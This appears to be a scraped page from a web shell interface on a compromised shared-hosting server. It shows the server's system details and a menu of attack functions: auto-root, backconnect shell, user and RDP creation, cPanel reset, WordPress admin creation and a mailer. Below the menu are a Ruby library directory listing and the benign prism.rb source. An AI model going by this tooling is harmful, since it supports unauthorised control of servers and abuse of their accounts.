Linux premium180.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 162.0.209.168 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
8.3.30
nortrmdp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
opt /
alt /
ruby34 /
share /
ruby /
[ HOME SHELL ]
Name
Size
Permission
Action
bigdecimal
[ DIR ]
drwxr-xr-x
cgi
[ DIR ]
drwxr-xr-x
did_you_mean
[ DIR ]
drwxr-xr-x
digest
[ DIR ]
drwxr-xr-x
erb
[ DIR ]
drwxr-xr-x
error_highlight
[ DIR ]
drwxr-xr-x
fiddle
[ DIR ]
drwxr-xr-x
forwardable
[ DIR ]
drwxr-xr-x
io
[ DIR ]
drwxr-xr-x
json
[ DIR ]
drwxr-xr-x
logger
[ DIR ]
drwxr-xr-x
net
[ DIR ]
drwxr-xr-x
objspace
[ DIR ]
drwxr-xr-x
open3
[ DIR ]
drwxr-xr-x
openssl
[ DIR ]
drwxr-xr-x
optparse
[ DIR ]
drwxr-xr-x
prism
[ DIR ]
drwxr-xr-x
psych
[ DIR ]
drwxr-xr-x
random
[ DIR ]
drwxr-xr-x
reline
[ DIR ]
drwxr-xr-x
ripper
[ DIR ]
drwxr-xr-x
ruby_vm
[ DIR ]
drwxr-xr-x
set
[ DIR ]
drwxr-xr-x
strscan
[ DIR ]
drwxr-xr-x
syntax_suggest
[ DIR ]
drwxr-xr-x
unicode_normalize
[ DIR ]
drwxr-xr-x
uri
[ DIR ]
drwxr-xr-x
vendor_ruby
[ DIR ]
drwxr-xr-x
yaml
[ DIR ]
drwxr-xr-x
English.rb
5.54
KB
-rw-r--r--
benchmark.rb
18.66
KB
-rw-r--r--
bundled_gems.rb
7.28
KB
-rw-r--r--
cgi.rb
9.83
KB
-rw-r--r--
coverage.rb
368
B
-rw-r--r--
date.rb
1.17
KB
-rw-r--r--
delegate.rb
11.68
KB
-rw-r--r--
did_you_mean.rb
4.51
KB
-rw-r--r--
digest.rb
3.3
KB
-rw-r--r--
erb.rb
14.53
KB
-rw-r--r--
error_highlight.rb
84
B
-rw-r--r--
expect.rb
2.19
KB
-rw-r--r--
fiddle.rb
3.67
KB
-rw-r--r--
fileutils.rb
78.8
KB
-rw-r--r--
find.rb
2.52
KB
-rw-r--r--
forwardable.rb
9.03
KB
-rw-r--r--
ipaddr.rb
22.4
KB
-rw-r--r--
json.rb
19.58
KB
-rw-r--r--
logger.rb
22.49
KB
-rw-r--r--
mkmf.rb
92.63
KB
-rw-r--r--
monitor.rb
6.97
KB
-rw-r--r--
objspace.rb
4.14
KB
-rw-r--r--
open-uri.rb
28.38
KB
-rw-r--r--
open3.rb
47.51
KB
-rw-r--r--
openssl.rb
1.06
KB
-rw-r--r--
optionparser.rb
59
B
-rw-r--r--
optparse.rb
64.17
KB
-rw-r--r--
ostruct.rb
14.22
KB
-rw-r--r--
pathname.rb
17.2
KB
-rw-r--r--
pp.rb
18.36
KB
-rw-r--r--
prettyprint.rb
15.93
KB
-rw-r--r--
prism.rb
2.93
KB
-rw-r--r--
pstore.rb
20.36
KB
-rw-r--r--
psych.rb
25.1
KB
-rw-r--r--
readline.rb
215
B
-rw-r--r--
reline.rb
14.93
KB
-rw-r--r--
resolv.rb
87.96
KB
-rw-r--r--
ripper.rb
2.44
KB
-rw-r--r--
securerandom.rb
2.28
KB
-rw-r--r--
set.rb
25
KB
-rw-r--r--
shellwords.rb
7.53
KB
-rw-r--r--
singleton.rb
5.52
KB
-rw-r--r--
socket.rb
59.49
KB
-rw-r--r--
syntax_suggest.rb
74
B
-rw-r--r--
tempfile.rb
20.68
KB
-rw-r--r--
time.rb
23.96
KB
-rw-r--r--
timeout.rb
5.72
KB
-rw-r--r--
tmpdir.rb
5.62
KB
-rw-r--r--
tsort.rb
14.29
KB
-rw-r--r--
un.rb
11.17
KB
-rw-r--r--
uri.rb
3.09
KB
-rw-r--r--
weakref.rb
1.36
KB
-rw-r--r--
yaml.rb
2.13
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : prism.rb
# frozen_string_literal: true # The Prism Ruby parser. # # "Parsing Ruby is suddenly manageable!" # - You, hopefully # module Prism # There are many files in prism that are templated to handle every node type, # which means the files can end up being quite large. We autoload them to make # our require speed faster since consuming libraries are unlikely to use all # of these features. autoload :BasicVisitor, "prism/visitor" autoload :Compiler, "prism/compiler" autoload :DesugarCompiler, "prism/desugar_compiler" autoload :Dispatcher, "prism/dispatcher" autoload :DotVisitor, "prism/dot_visitor" autoload :DSL, "prism/dsl" autoload :InspectVisitor, "prism/inspect_visitor" autoload :LexCompat, "prism/lex_compat" autoload :LexRipper, "prism/lex_compat" autoload :MutationCompiler, "prism/mutation_compiler" autoload :Pack, "prism/pack" autoload :Pattern, "prism/pattern" autoload :Reflection, "prism/reflection" autoload :Relocation, "prism/relocation" autoload :Serialize, "prism/serialize" autoload :StringQuery, "prism/string_query" autoload :Translation, "prism/translation" autoload :Visitor, "prism/visitor" # Some of these constants are not meant to be exposed, so marking them as # private here. private_constant :LexCompat private_constant :LexRipper # :call-seq: # Prism::lex_compat(source, **options) -> LexCompat::Result # # Returns a parse result whose value is an array of tokens that closely # resembles the return value of Ripper::lex. The main difference is that the # `:on_sp` token is not emitted. # # For supported options, see Prism::parse. def self.lex_compat(source, **options) LexCompat.new(source, **options).result # steep:ignore end # :call-seq: # Prism::lex_ripper(source) -> Array # # This lexes with the Ripper lex. It drops any space events but otherwise # returns the same tokens. Raises SyntaxError if the syntax in source is # invalid. def self.lex_ripper(source) LexRipper.new(source).result # steep:ignore end # :call-seq: # Prism::load(source, serialized) -> ParseResult # # Load the serialized AST using the source as a reference into a tree. def self.load(source, serialized) Serialize.load(source, serialized) end end require_relative "prism/polyfill/byteindex" require_relative "prism/node" require_relative "prism/node_ext" require_relative "prism/parse_result" # This is a Ruby implementation of the prism parser. If we're running on CRuby # and we haven't explicitly set the PRISM_FFI_BACKEND environment variable, then # it's going to require the built library. Otherwise, it's going to require a # module that uses FFI to call into the library. if RUBY_ENGINE == "ruby" and !ENV["PRISM_FFI_BACKEND"] # The C extension is the default backend on CRuby. Prism::BACKEND = :CEXT require "prism/prism" else # The FFI backend is used on other Ruby implementations. Prism::BACKEND = :FFI require_relative "prism/ffi" end
Close